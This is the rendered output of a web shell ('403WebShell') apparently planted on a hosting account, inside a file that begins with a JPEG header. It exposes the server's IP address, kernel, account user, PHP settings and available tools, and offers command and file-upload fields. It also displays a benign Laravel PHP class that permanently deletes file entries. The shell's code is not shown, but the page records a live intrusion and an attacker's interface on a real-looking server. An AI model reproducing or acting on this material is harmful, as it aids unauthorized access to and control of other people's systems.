����JFIF��x�x����'403WebShell
403Webshell
Server IP : 78.140.185.180  /  Your IP : 18.218.10.21
Web Server : LiteSpeed
System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : builderbox ( 1072)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/builderbox/public_html/common/Files/Actions/Deletion/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/builderbox/public_html/common/Files/Actions/Deletion/PermanentlyDeleteEntries.php
<?php

namespace Common\Files\Actions\Deletion;

use Common\Files\Events\FileEntriesDeleted;
use DB;
use League\Flysystem\FileNotFoundException;
use Storage;
use Common\Files\FileEntry;
use Illuminate\Support\Collection;

class PermanentlyDeleteEntries extends SoftDeleteEntries
{
    /**
     * Permanently delete file entries, related records and files from disk.
     *
     * @param Collection $entries
     * @return void
     */
    protected function delete(Collection $entries)
    {
        $entries = $this->loadChildEntries($entries, true);
        $this->deleteFiles($entries);
        $this->deleteEntries($entries);
        event(new FileEntriesDeleted($entries->pluck('id')->toArray(), true));
    }

    /**
     * Delete file entries from database.
     *
     * @param Collection $entries
     * @return bool|null
     */
    private function deleteEntries(Collection $entries) {
        $entryIds = $entries->pluck('id');

        // detach users
        DB::table('file_entry_models')->whereIn('file_entry_id', $entryIds)->delete();

        // detach tags
        DB::table('taggables')->where('taggable_type', FileEntry::class)->whereIn('taggable_id', $entryIds)->delete();

        return $this->entry->whereIn('id', $entries->pluck('id'))->forceDelete();
    }

    /**
     * Delete files from disk.
     *
     * @param Collection $entries
     * @return Collection
     */
    private function deleteFiles(Collection $entries)
    {
        return $entries->filter(function (FileEntry $entry) {
            return $entry->type !== 'folder';
        })->each(function(FileEntry $entry) {
            try {
                if ($entry->public) {
                    $entry->getDisk()->delete($entry->getStoragePath());
                } else {
                    $entry->getDisk()->deleteDir($entry->file_name);
                }
            } catch (FileNotFoundException $e) {
                //
            }
        });
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit